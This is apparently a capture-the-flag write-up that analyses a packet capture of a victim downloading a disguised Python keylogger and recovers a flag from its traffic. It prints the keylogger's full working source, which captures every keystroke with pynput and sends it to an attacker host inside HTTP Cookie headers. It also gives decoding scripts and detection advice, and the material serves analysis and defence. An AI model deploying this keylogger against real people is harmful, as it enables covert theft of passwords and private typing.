TL;DR
A .pcapng capture shows a victim host on 192.168.1.141 downloading a Python
keylogger (updates.py) from an attacker-controlled “hotel update server” at
byte-lotus-hotel.thm:8080 (34.41.103.191). The script XOR-encrypts every
keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an
HTTP Cookie header on a GET request back to the same host. Replaying that
XOR/base64 scheme against the 30 exfil requests in the capture recovers the
flag.
Flag: THM{[REDACTED]}
1. Initial triage
$ capinfos traffic.pcapng
Number of packets: 1348
Capture duration: 41.831541 seconds
Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171)
Enter fullscreen mode Exit fullscreen mode
Protocol hierarchy:
$ tshark -r traffic.pcapng -q -z io,phs
eth
ip
tcp
http frames:62 bytes:37862
tls frames:228 bytes:133744
udp
ssdp, dns, quic
null (loopback)
ip
tcp
data frames:16 bytes:928
Enter fullscreen mode Exit fullscreen mode
Most of the capture is background noise — TLS to search engines, QUIC,
Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP
traffic to a non-standard host, so that’s where I started.
2. Spotting the payload download
$ tshark -r traffic.pcapng -Y http -T fields \
-e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.request.uri \
-e http.host -e http.response.code
16 192.168.1.141 34.41.103.191 GET /temp/updates.py byte-lotus-hotel.thm:8080
19 34.41.103.191 192.168.1.141 200
391 192.168.1.141 34.41.103.191 GET / byte-lotus-hotel.thm:8080
... [repeats ~30 more times, one GET / every second or so]
Enter fullscreen mode Exit fullscreen mode
Frame 16 is a normal Chrome download (User-Agent: ...Chrome/149.0.0.0...) of
/temp/updates.py from byte-lotus-hotel.thm (resolves to 34.41.103.191).
After that, starting at frame 391, the same source IP starts hammering GET /
on the same host roughly once per keypress, but with a different, custom
User-Agent. That pattern (one request per user action) screams keylogger
exfil, so the first move was to pull updates.py out of the stream:
$ tshark -r traffic.pcapng --export-objects http,./httpobjs
$ cat httpobjs/updates.py
Enter fullscreen mode Exit fullscreen mode
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Enter fullscreen mode Exit fullscreen mode
Confirms the theory: this is a pynput-based keylogger disguised as a
“hotel sync service.” Every keypress is:
- Grabbed individually (
characteris a single char). - XORed against the key
H0t3lSt@ff0NlyK3epS3cr3t!(p1 + p2). - Base64-encoded.
- Smuggled out as the value of a
hotel_sess_statecookie on aGET /to the C2.
The key detail for decoding: because sendltr() is called once per
character, raw_bytes is always length 1. That means the XOR loop
key[i % len(key)] only ever uses index i = 0, i.e. every exfiltrated
byte is XORed with just the first character of the key, 'H' (0x48) — the
rest of the 25-byte key is never actually used. That simplifies decoding a
lot.
3. Pulling the exfil cookies
$ tshark -r traffic.pcapng -Y "http.request.method==GET" \
-T fields -e http.cookie \
| grep hotel_sess_state \
| sed 's/hotel_sess_state=//' > cookies.txt
$ wc -l cookies.txt
30 cookies.txt
Enter fullscreen mode Exit fullscreen mode
Sample of what’s captured, in packet order (each line = one keystroke sent
seconds apart from frame 391 onward):
HA==
AA==
BQ==
Mw==
Hg==
ew==
...
NQ==
Enter fullscreen mode Exit fullscreen mode
4. Decoding
import base64
key = "H0t3lSt@ff0NlyK3epS3cr3t!"
out = []
with open("cookies.txt") as f:
for line in f:
line = line.strip()
if not line:
continue
raw = base64.b64decode(line)
out.append(chr(raw[0] ^ ord(key[0]))) # only key[0] ('H') is ever used
print("".join(out))
Enter fullscreen mode Exit fullscreen mode
$ python3 decode.py
THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode
The 30 exfiltrated bytes reassemble in capture order to spell out the flag
directly — the “victim” was literally typing the flag on their keyboard
while the keylogger phoned it home one character at a time.
5. Flag
THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode
Key vulnerabilities / weaknesses exploited (for detection writeups)
# Weakness Detail 1 Plaintext HTTP C2 channel Keylogger exfil travels over unencrypted HTTP; fully visible in a pcap. 2 Weak, hardcoded, effectively single-byte XOR “encryption”xor() is correct in general, but because each HTTP request carries only one character, key[i % len(key)] collapses to key[0] every time — the 25-byte key is decorative.
3
Predictable exfil channel
Cookie header on a fixed URI (GET /) makes the beacon trivially greppable in traffic (hotel_sess_state=).
4
Social-engineering delivery
Payload was served as /temp/updates.py from a spoofed “hotel update server,” downloaded via a normal browser GET — no exploit needed, just a convincing filename/host.
Attack chain
Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080)
│
│ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16)
▼
Victim host (192.168.1.141)
│
│ 2. updates.py executed -> pynput keyboard.Listener starts
│ "[*] Byte Lotus Sync Service started..."
▼
Every keystroke
│
│ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!") (only key[0] used, single-char msgs)
│ 4. base64 encode
│ 5. GET / with Cookie: hotel_sess_state=<b64> (custom UA: ByteLotusClient/1.1)
▼
Attacker C2 receives exfil, one keystroke per request (frames 391–1310)
│
▼
Analyst reassembles cookies in packet order -> decodes -> flag
Enter fullscreen mode Exit fullscreen mode
Mitigations
- Treat unsigned “update” scripts served over plain HTTP from unfamiliar hosts as untrusted; verify code signing / hashes before execution.
- EDR/host monitoring for processes registering global keyboard hooks
(
pynput,SetWindowsHookEx, etc.) outside of known accessibility tools. - Network egress monitoring for beacon-like patterns: fixed-interval GETs to the same host/path with data hidden in headers (Cookie/User-Agent) rather than the body.
- Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP (not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil trivially visible to anyone with pcap access (as it was here).
- Rotate/derive per-message keystream material properly (e.g. real stream cipher or per-message nonce) if attackers want their own “crypto” to actually resist analysis — not that we’re endorsing that goal.
답글 남기기